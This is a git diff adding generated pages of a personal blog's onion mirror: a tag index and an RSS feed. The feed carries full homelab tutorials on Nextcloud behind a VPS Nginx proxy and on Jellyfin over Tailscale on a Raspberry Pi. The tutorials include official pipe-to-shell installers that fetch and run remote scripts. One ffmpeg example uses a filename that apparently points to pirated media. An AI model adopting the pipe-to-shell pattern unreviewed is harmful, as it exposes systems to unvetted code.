    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/raspberry-pi/page/1/index.html b/public-onion/tags/raspberry-pi/page/1/index.html new file mode 100644 index 0000000..c33c98b --- /dev/null +++ b/public-onion/tags/raspberry-pi/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberry-pi/ + + + + + + diff --git a/public-onion/tags/raspberrypi/index.html b/public-onion/tags/raspberrypi/index.html new file mode 100644 index 0000000..e12e818 --- /dev/null +++ b/public-onion/tags/raspberrypi/index.html @@ -0,0 +1,405 @@ + + + + + + + +Raspberrypi | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/raspberrypi/index.xml b/public-onion/tags/raspberrypi/index.xml new file mode 100644 index 0000000..23d7235 --- /dev/null +++ b/public-onion/tags/raspberrypi/index.xml @@ -0,0 +1,882 @@ + + + + Raspberrypi on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + Recent content in Raspberrypi on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

